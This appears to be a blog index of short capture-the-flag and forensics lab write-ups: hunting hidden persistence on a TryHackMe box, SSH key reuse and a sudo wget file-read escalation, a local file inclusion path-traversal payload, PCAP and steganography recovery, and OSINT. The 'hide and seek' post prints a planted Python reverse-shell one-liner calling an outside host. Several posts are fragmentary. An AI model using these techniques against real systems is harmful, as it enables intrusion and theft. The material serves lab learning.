Posts on harsh giri

Remote Access Regret

Fri, 20 Mar 2026 00:00:00 +0000

scenerio

we get raw file

extract this using

1
2
3


dd if=intelvol.raw of=output.img bs=512
sudo mkdir /mnt/rar_image
sudo mount -o loop output.img /mnt/rar_image

local AnyDesk ID

open this file in db browser

first website Margaret visited before encountering the scam
domain of the initial malicious redirect that led Margaret to the scam page

Examining the cached HTML file, what phone number was displayed to the victim

AnyDesk ID of the remote machine
alias of scammer

total session duration in seconds
convert hourly duration to second 4052 sec
first file stolen from Margaret’s Desktop
How many bytes total exfiltrated

total URLs were visited during the browsing session on the day of the incident

it is 10

hide and seek writeup

Mon, 16 Mar 2026 13:00:00 +0000

so there are five flags combining them will give flag

Time is on my side, always running like clockwork.

sounds like cronjob
crontab -l as root

1

crontab -l -u root

1

find / -name "a.sh" -type f 2>/dev/null

found nothing
maybe initial few number are hex

1

echo "54484d7b7930" | xxd -r -p

THM{y0

A secret handshake gets me in every time.

this looks like ssh
find .ssh folder

1

find / -name ".ssh" -type d 2>/dev/null

output

1
2
3


/root/.ssh
/home/zeroday/.ssh
/home/ubuntu/.ssh

check all
/home/zeroday/.ssh/.authorized_keys

1

ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGigCKLtSqMcOfttFdDnNXfwKd5nH8Ws3hFNRmBDWxfvuaaC6h9zWishJVfr0xsyV0SSkMGPCuPLRU41ckvnGbA= 326e6420706172743a20755f6730745f.local

326e6420706172743a20755f6730745f
this looks hex

1

echo "326e6420706172743a20755f6730745f" | xxd -r -p

2nd part: u_g0t_

Whenever you set the stage, I make my entrance.

this was bit hard to spot
it is about bashrc which loads our shell config.
since we are specter according to q check that users bashrc

1

echo "4d334a6b58334130636e513649444e324d334a3564416f3d" | xxd -r -p | base64 -d

3rd_p4rt: 3v3ryt

i run with the big dogs, booting up alongside the system.

maybe process

1
2


ps aux
pstree

nothing interesting
maybe service
To see all services, including inactive ones

1
2


sudo su
systemctl list-unit-files --type=service

1
2


systemctl cat cipher.service
cat /lib/systemd/system/cipher.service

4th part - h1ng_

I love welcome messages.

message of the day (MOTD)
potential locations

1
2
3


/etc/motd
/etc/profile.d/motd.sh
/etc/update-motd.d/

in cat /etc/update-motd.d/00-header

1
2
3


python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("4c61737420706172743a206430776e7d0.h1dd3nd00r.n3t",)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' 2>/dev/null

printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)"

looks hex

1

echo "4c61737420706172743a206430776e7d0" | xxd -r -p

Last part: d0wn}
final flag

THM{y0u_g0t_3v3ryt_h1ng_D0wn}

wgel ctf writeup

Tue, 10 Mar 2026 21:00:21 +0000

network enumaration

nmap scan

1

nmap -sVC -p- 10.48.186.30

result

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 94:96:1b:66:80:1b:76:48:68:2d:14:b5:9a:01:aa:aa (RSA)
| 256 18:f7:10:cc:5f:40:f6:cf:92:f8:69:16:e2:48:f4:38 (ECDSA)
|_ 256 b9:0b:97:2e:45:9b:f3:2a:4b:11:c7:83:10:33:e0:ce (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

check webpage

use gobuster to enumrate directory

1

gobuster dir -u "http://10.48.186.30/" -w /usr/share/wordlists/dirb/big.txt -t 64

checked site can’t find form or any parameter in url
maybe enumarate more

1

gobuster dir -u http://10.48.186.30/sitemap/ -w /usr/share/wordlists/dirb/common.txt -t 25 -x php,html,txt -q

i have private key
but i still don’t have username for ssh

user enumaration

on about page i found few username
i tried all did not work
check source code
on webpage i found this comment

1

 <!-- Jessie don't forget to udate the webiste -->

use this credentials

1
2


chmod 400 id_rsa
ssh jessie@10.48.186.30 -i id_rsa

privilage escalation

so i tried file read GTFO

1
2
3
4
5


sudo wget -i /root/root.txt
No URLs found in /root/root.txt.
sudo wget -i /root/root_flag.txt
--2026-03-09 23:53:09-- http://b1b968b37519ad1daa6408188649263d/
Resolving b1b968b37519ad1daa6408188649263d (b1b968b37519ad1daa6408188649263d)... failed: Name or service not known.

& we have root flag

Routine Checks ApoorvCTF writeup

Mon, 09 Mar 2026 11:00:21 +0000

download pcap file
follow tcp stream
contain jpg file but it is corrupt

https://www.file-recovery.com/jpg-signature-format.htm

using any hex editor change 3f to ff as jpeg JFIF header
save this dump in dump.txt

1

awk '{for(i=2;i<=17;i++) printf $i} END{print ""}' dump.txt | xxd -r -p > recovered.jpg

gives this qr

apporvctf{this_aint_it_brother}
dead end
we are onto it

1
2
3
4
5


$ steghide extract -sf recovered.jpg
Enter passphrase: 
wrote extracted data to "realflag.txt".
$ cat realflag.txt 
apoorvctf{b1ts_wh1sp3r_1n_th3_l0w3st_b1t}

lespion lab

Sat, 28 Feb 2026 23:46:21 +0000

Scenario

Questions

extract zip file given
github link

https://github.com/EMarseille99

this are all offsec tools

the crime lab

Sat, 28 Feb 2026 23:46:21 +0000

Scenario

this is test

Questions

lo-fi writeup

Sat, 28 Feb 2026 21:00:21 +0000

nmap scan

1

nmap -sVC -p- $IP

resultS

1
2
3
4
5
6


PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Lo-Fi Music
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

check web server
play around bit you will find page parameter is vulnerable to LFI
traverse enough to land in root /
=../../../../../../../../../../../..//etc/passwd
now flag.txt

OSINT 003 hackmyvm challenge

Fri, 27 Feb 2026 23:46:21 +0000

Who is she?

Flag format: HMV{namelastname}

Ex: HMV{johnwick}

use any image reverse site

https://www.insonoro.com/noticia/57213/homenaje-a-gata-cattana-con-una-exhibicion-de-grafitis-en-la-ciudad-de-granada
found spanish article
granada city paid tribute to passed away singer Gata Cattana

HMV{GataCattana}

to dig bit deeper i wanted to find exact coordinate of mural
i stumbled upon this site
https://peskpesk.com/gata-catana-23/

upon walking bit on street view

coordinates: 37.207969337342355, -3.620627541034744

i also wanted to know time when mural was painted and by whom

i found yt video in same spanish article

on site image name was 20170324-gata2.jpg
exiftool does not reveal anything
which means 24 march 2017
using shadow map we can estimate when this artist was painting mural

red marks location of mural
shade is in side of wall

so it should be around 4 pm - 6 pm in evening

Yellow RAT Lab

Fri, 27 Feb 2026 23:46:21 +0000

Scenario

Questions

30E527E45F50D2BA82865C5679A6FA998EE0A1755361AB01673950810D071C85

name of the malware family that causes abnormal network traffic

https://redcanary.com/blog/threat-intelligence/yellow-cockatoo/

i was expecting IOCs in article but nope

othewise in relation tab

click on that it will lead to same
in details tab

compilation timestamp of the malware

When was the malware first submitted to VirusTotal

name of the .dat file that the malware dropped in the AppData folder
read red canary article

C2 server that the malware is communicating with?

First Shift CTF tryhackme

Sun, 24 Aug 2025 00:00:00 +0000

Probably Just Fine

Unusual VPN login of susan.martin@probablyfine.thm from 37.19.201.132 (Singapore)
Susan from Marketing is in Singapore, attending a security vendor conference
TryDetectThis

she confirmed she did not log in to the company VPN
using a public Wi-Fi hotspot at a cafe
binary with the hash b8e02f2bc0ffb42e8cf28e37a26d8d825f639079bf6d948f8debab6440ee5630

ASN number related to the IP?

Phishing Books

1
2
3
4
5
6
7


Subject: MFA Removal Requests
From: Dr. Isabella <isabella@kingford.ac.uk>

 Hey, ProbablyFine SOC Team,
 I've been getting several emails asking me to approve my MFA.
 Are you performing any tests? Should I approve these requests?
 Dr. Isabella

PCAP analysis lets defend lab

Fri, 25 Aug 2023 00:00:00 +0000

follow tcp stream

WebStrike Lab

Sun, 06 Mar 2022 00:00:00 +0000

Your task is to analyze the provided PCAP file to uncover how the file appeared and determine the extent of any unauthorized activity.

Questions

since we know this is about file
check export object -> http

attacker exfiltrated /etc/passwd file to his own ip